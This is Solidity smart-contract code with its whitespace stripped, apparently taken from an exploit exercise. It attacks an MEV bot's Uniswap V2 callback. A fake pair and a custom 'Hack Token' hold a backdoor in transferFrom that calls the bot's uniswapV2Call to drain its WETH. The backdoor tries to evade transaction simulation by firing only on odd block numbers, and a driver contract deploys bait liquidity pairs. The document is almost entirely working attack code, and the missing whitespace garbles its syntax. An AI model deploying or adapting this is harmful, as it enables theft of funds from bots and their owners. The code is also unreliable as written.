contractFakePair{addresspublicfactory;functionexploit(IUniswapV2Callee_bot,address_factory,IWETHweth)external{factory=_factory;addressbot=address(_bot);bytesmemorydata=abi.encode(address(this),address(this),weth.balanceOf(bot),0,true);_bot.uniswapV2Call(bot,0,0,data);}// let `pair1.swap()` call not revertfunctionswap(uint,uint,address,bytescalldata)external{}}
contractHackToken{stringpublicconstantname="Hack Token";stringpublicconstantsymbol="HT";uint8publicconstantdecimals=18;uintpublictotalSupply=1ether;IUniswapV2Calleebot;addressweth;boolhacked;eventApproval(addressindexedsrc,addressindexedguy,uintwad);eventTransfer(addressindexedsrc,addressindexeddst,uintwad);mapping(address=>uint)publicbalanceOf;mapping(address=>mapping(address=>uint))publicallowance;constructor(IUniswapV2Callee_bot,address_weth){balanceOf[msg.sender]=totalSupply;weth=_weth;bot=_bot;}functionapprove(addressguy,uintwad)publicreturns(bool){allowance[msg.sender][guy]=wad;emitApproval(msg.sender,guy,wad);returntrue;}// transfer() 将在 pair1.swap() 中被调用,即 MEV bot 发送 WETH 之后functiontransfer(addressdst,uintwad)publicreturns(bool){returntransferFrom(msg.sender,dst,wad);}functiontransferFrom(addresssrc,addressdst,uintwad)publicreturns(bool){backdoor();require(balanceOf[src]>=wad);if(src!=msg.sender&&allowance[src][msg.sender]!=type(uint).max){require(allowance[src][msg.sender]>=wad);allowance[src][msg.sender]-=wad;}balanceOf[src]-=wad;balanceOf[dst]+=wad;emitTransfer(src,dst,wad);returntrue;}functionbackdoor()internal{// 区分模拟交易和实际套利交易if(!hacked&&block.number%2!=0){bytesmemorydata=abi.encode(address(this),address(this),IWETH(weth).balanceOf(address(bot)),0,true);bot.uniswapV2Call(address(0),0,0,data);hacked=true;}}functionswap(uint,uint,address,bytescalldata)external{}}contractHack{// This will cost a lot of gas uwufunctionexploit(IUniswapV2Factoryfactory1,IUniswapV2Factoryfactory2,IWETHweth,IUniswapV2Calleebot)externalpayable{HackTokentoken=newHackToken(bot,address(weth));addresspair1=factory1.createPair(address(weth),address(token));addresspair2=factory2.createPair(address(weth),address(token));weth.deposit{value:msg.value}();require(weth.transfer(pair1,0.1ether));require(token.transfer(pair1,0.1ether));IUniswapV2Pair(pair1).mint(address(this));require(weth.transfer(pair2,0.1ether));require(token.transfer(pair2,0.2ether));IUniswapV2Pair(pair2).mint(address(this));}}